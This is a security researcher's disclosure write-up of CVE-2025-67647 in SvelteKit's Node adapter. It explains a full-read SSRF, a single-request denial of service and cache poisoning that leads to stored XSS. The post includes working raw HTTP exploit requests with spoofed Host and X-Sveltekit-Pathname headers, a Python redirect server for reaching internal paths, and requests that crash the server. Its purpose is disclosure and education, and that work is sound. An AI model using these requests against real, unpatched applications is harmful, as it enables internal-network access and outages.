Avoiding the paradox: A native full-read SSRF and one‑shot DoS in SvelteKit

Published in zhero_web_security, 2026

Introduction

We start the year 2026 with a piece of research on SvelteKit, a full-stack application framework currently downloaded more than 800,000 times per week.

It is difficult to determine with precision the extent to which frameworks influence one another, but it is not uncommon for vulnerable patterns tied to a specific function to reappear across multiple projects. In our initial research on Astro, the entry point involved the Node adapter and an unsafe construction of the origin, which led us to first examine the various SvelteKit adapters before going further.

SvelteKit’s Node adapter was likewise found to lack sufficient validation in its construction of the origin. On its own, this issue could already lead to several vulnerabilities, although none would be directly exploitable, as their impact depends on how this value is used by applications. From there, the objective was to achieve a “native” SSRF, independent of any explicit reliance on it by the target application.

This goal was successfully achieved, resulting in a full-read, “native” SSRF that led to the assignment of CVE-2025-67647, and, along the way, enabled the discovery of a one‑shot Denial of Service.

Index

Node adapter and insecure origin

In modern web frameworks, adapters play a key role in ensuring portability and compatibility between the framework and different runtime environments. As explained in the introduction, the culprit here is the Node adapter (at least for the SSRF), which constructs the origin by trusting unchecked input:

source code

By default, the Host header value is directly embedded into a template literal, and developers can optionally configure environment variables to depend on standard headers (-proto/-host/-port). While this behavior already allows for multiple vulnerable scenarios, as seen in our previous research on Astro, the focus here is on achieving a direct SSRF.

The ability to spoof the Host header, by one means or another, provides a strong primitive toward our objective. It also delineates the scope of the attack, as its exploitability is conditioned on the use of the node-adapter.

It is worth noting that SvelteKit allows developers to specify an ORIGIN environment variable, which takes precedence when it is defined.

The fetch entrenched behind its 3 conditions

Further analysis led to the following conditional block which, when its conditions are met, allows a fetch to the controllable origin and returns the corresponding response :

source code

Let us analyze each of the three conditions required to access the block, in reverse order for practical reasons :

1 - has_prerendered_path(manifest, resolved_path) : has_prerendered_path is a simple function; it takes two parameters: the manifest (generated during build) and the current path. If the latter is pre-rendered and therefore present in manifest._.prerendered_routes, the function returns true.

export function has_prerendered_path(manifest, pathname) {
	return (
		manifest._.prerendered_routes.has(pathname) ||
		(pathname.at(-1) === '/' && manifest._.prerendered_routes.has(pathname.slice(0, -1)))
	);
}

This updates the scope of the attack, and reveals the second and final condition for exploiting our SSRF. The first one being the use of the Node adapter, and the second being the presence of at least one pre-rendered page within the application. As you most likely know, a pre-rendered page essentially serves to generate the HTML at build time, rather than generating it on each server-side request. This is therefore a very common practice, given the performance benefits it provides.

2 - !state.prerendering?.fallback : state.prerendering is not reachable at runtime and will always be undefined, causing the expression to evaluate to true, which is the expected condition here. Nothing more needs to be done for this point, as the condition is met by default.

3 - resolved_path !== url.pathname : resolved_path is assigned the value of url.pathname slightly earlier:

let resolved_path = url.pathname;

The value of resolved_path is decoded before the conditional expression, allowing, by encoding one of the letters of the path, to obtain a difference between the property pathname and resolved_path, the latter being decoded, fulfilling the aforementioned condition:

resolved_path = decode_pathname(resolved_path);

source code

Execution paradox, internals to the rescue

A significant issue nonetheless remains: when accessing the path of a pre-rendered route (the first condition of the block), the page is static and therefore served directly from disk or a CDN, meaning the relevant code path is never reached. Conversely, when accessing a non-static route, the code is executed, but the required conditions to enter the block are not fully satisfied.

This is expected, as the only legitimate scenario in which this code path is meant to be reached is when the reroute hook is used, allowing an incoming URL to be rewritten or redirected dynamically before the application’s normal routing logic applies. This therefore requires a reroute hook targeting a pre-rendered page, and adding such a condition to the list starts to drift away from a realistic exploit scenario. As bug hunters on the side, we are not interested in purely theoretical vulnerabilities or in issues that rely on an overly long or fragile set of prerequisites.

Fortunately for us, starting from version 2.44.0, when the initial route is considered a remote function request, it becomes possible to overwrite the value of url.pathname via the internal request header x-sveltekit-pathname:

else if (remote_id) {
    url.pathname = request.headers.get('x-sveltekit-pathname') ?? base;
    url.search = request.headers.get('x-sveltekit-search') ?? '';
}

source code

And for a URL to be considered a remote function request (remote_id), its path simply needs to begin with the following pattern:

export function get_remote_id(url) {
	return (
		url.pathname.startsWith(`${base}/${app_dir}/remote/`) &&
		url.pathname.replace(`${base}/${app_dir}/remote/`, '')
	);
}

source code

Particularly advantageous, as it does not require an actual path to exist, allowing the exploit to remain feasible even when the target application does not make use of remote functions or reroute hook. This final piece of the puzzle makes it possible to specify a route that reaches the code path of interest, while modifying the value of url.pathname on the fly in order to satisfy the conditions of the block.

Full read SSRF exploit

Assuming the presence of a pre-rendered route named prerendered-example, the following request ultimately satisfies all three conditions and allows a fetch to the specified host, returning and reading the response, thereby validating the “native” full-read SSRF :

GET /_app/remote/non-existent-segment HTTP/1.1
Host: zhero-web-sec.github.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:145.0) Gecko/20100101 Firefox/145.0
Accept-Encoding: gzip, deflate, br
x-sveltekit-pathname: /prerendered-exampl%65

The same result can be achieved using standard forwarding headers:

GET /_app/remote/non-existent-segment HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:145.0) Gecko/20100101 Firefox/145.0
Accept-Encoding: gzip, deflate, br
X-Forwarded-Host: zhero-web-sec.github.io
X-Sveltekit-Pathname: /prerendered-exampl%65

Limitation?

Before explaining the PoC in detail, it is important to note that our SSRF is somewhat constrained: the server-side fetch request is issued toward the path of the existing pre-rendered route specified via the X-Sveltekit-Pathname header, in our case: https://zhero-web-sec.github.io/prerendered-example, path that does not exist on the target host and probably not on an internal service, resulting in a 404 response.

While this limitation could significantly reduce the impact of the SSRF, it fortunately has a well-known solution: The fetch API automatically follows HTTP redirects by default.

It is therefore sufficient to set up a server that acts as an intermediary and responds with a simple 302 redirect, specifying the host and, crucially, the desired path in the Location response header to force the SvelteKit application to follow it, thereby allowing any internal service to be targeted without path restrictions.

Example of a minimalist python server, redirecting to zhero-web-sec.github.io allowing the choice of an arbitrary path, here /research-and-things/:

import socket

HOST = "0.0.0.0"
PORT = 8001

response = (
    "HTTP/1.1 302 Found\r\n"
    "Location: https://zhero-web-sec.github.io/research-and-things/\r\n"
    "Connection: close\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    print(f"[+] Listening on {HOST}:{PORT}")

    while True:
        conn, addr = s.accept()
        with conn:
            print(f"[+] Connection from {addr}")
            conn.recv(4096)
            conn.sendall(response.encode("ascii"))

PoC details

Finally, here is the request that triggers a fetch to our python server, which in turn forces a redirect to https://zhero-web-sec.github.io/research-and-things/:

We use x-forwarded-proto, but the same approach is possible via the Host header, as explained earlier.

  • The host+port specified in the -proto value (127.0.0.1:8001) point to the intermediary server forcing the redirect, allowing an arbitrary path to be chosen; this value being used by the node adapter to determine the origin.

  • The path specified in the -proto value matches the remote_id pattern (_app/remote/*), enabling the overwriting of url.pathname via the SvelteKit request header. This allows reaching the fetch code block while subsequently specifying a pre-rendered route to satisfy the block’s has_prerendered_path condition.

  • The x-sveltekit-pathname header points to an existing pre-rendered route in the target application that fulfills the block’s has_prerendered_path condition. The last character of the path is URL-encoded (e/%65) to satisfy the block’s resolved_path !== url.pathname condition, since, as noted earlier, resolved_path is decoded while url.pathname is not.

Obviously, reverse proxies do not always allow the host header value to be manipulated, and they may perform upstream validation. In such cases, origin spoofing can be attempted via the forwarded -proto or -host headers, which can be used to construct the origin, as described earlier.

One-shot Denial of Service

It should be noted that the fetch in question is not protected by a try/catch block at any point, meaning that any network error propagates up the call stack and crashes the process, resulting in a denial of service, adding an additional impact enabled by this vector.

There are multiple trivial ways to trigger such an error, but in order to extend the scope of the attack beyond the node-adapter (which allows URL spoofing), it is preferable to identify an approach that does not require tampering with the scheme, host, or port.

The fetch in question reuses the entire incoming request, including headers and body, allowing the server to be crashed as follows, for instance by sending a request containing a body without a Content-Length header:

GET /_app/remote/non-existent-path? HTTP/1.1
Host: localhost:4173
X-Sveltekit-Pathname: /prerendered-exampl%65

dos=dos

Or alternatively, by adding a forbidden header to the request, as defined by the Fetch specification, such as Transfer-Encoding:

GET /_app/remote/non-existent-path? HTTP/1.1
Host: localhost:4173
X-Sveltekit-Pathname: /prerendered-exampl%65
Transfer-Encoding: nope

Regardless of the technique used, the request must preserve the same path, as well as the internal SvelteKit header whose value points to a pre-rendered route with one of its characters encoded. This is required to satisfy the previously discussed conditions that allow reaching the relevant fetch code path.

This attack enables crashing the server with a single request, with the sole requirement being the presence of at least one pre-rendered route, and is no longer limited to applications using the node-adapter.

Alternative exploit : SSRF to SXSS via Cache Poisoning

Even if no internal service is of immediate interest and a CDN is present, the SSRF can still be leveraged to force the caching of an XSS payload. By exploiting the fact that the path can be spoofed via the Host header (or standard forwarding headers), it becomes possible to deceive the CDN:

  • We use the request line to specify a path/extension pattern considered cacheable by CDNs.
  • The host+port specified as the value of host point to an attacker-controlled server, which returns the JavaScript payload along with cache-control directives that allow the resource to be cached.
  • The path following the host+port pointing to the attacker’s machine is processed by the SvelteKit router and, as explained earlier, allows the remote_id pattern to be matched. The question mark is mandatory here, as it causes the request-line path to be treated as a query during concatenation and therefore does not interfere with routing.
  • The value of x-sveltekit-pathname points to a pre-rendered route of the application with one of its characters URL‑encoded, in order to satisfy the conditions previously described.

This makes it possible to reliably achieve an SXSS when a CDN is present (and that the host header is not in the cache-key), triggerable via user interaction if the specified path does not exist, or without any user interaction if the path specified in the request line exists and the response replaces the cached entry, as is typical in cache‑poisoning attacks.

Keeping in mind, as mentioned earlier, that the Host header is not always manipulable, in which case the aforementioned alternatives should be considered.

Security Advisory - CVE-2025-67647

CVSS score:

  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H (Critical - 9.4)
  • CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:L/SI:L/SA:N (High - 8.4)

https://github.com/sveltejs/kit/security/advisories/GHSA-j62c-4x62-9r35

Conclusion

SvelteKit is vulnerable to a full-read SSRF when the Node adapter is used and at least one pre-rendered route exists in the target application. This issue stems from insufficient validation during origin construction, combined with subtle interactions between internal routing logic and request headers.

Beyond SSRF, the same underlying behavior enables additional impact scenarios, including denial of service through unhandled network errors and cache poisoning leading to stored cross-site scripting when a CDN is present.

Timeline :

  • 2025-11-30 : Report sent via the GitHub template
  • 2025-12-06 : Report acknowledged
  • 2026-01-15 : Release of the patched versions
  • 2026-01-15 : Publication of the security advisory

Thank you for reading.

Al hamduliLlah;

Research conducted by zhero; & inzo_

Published in January 2026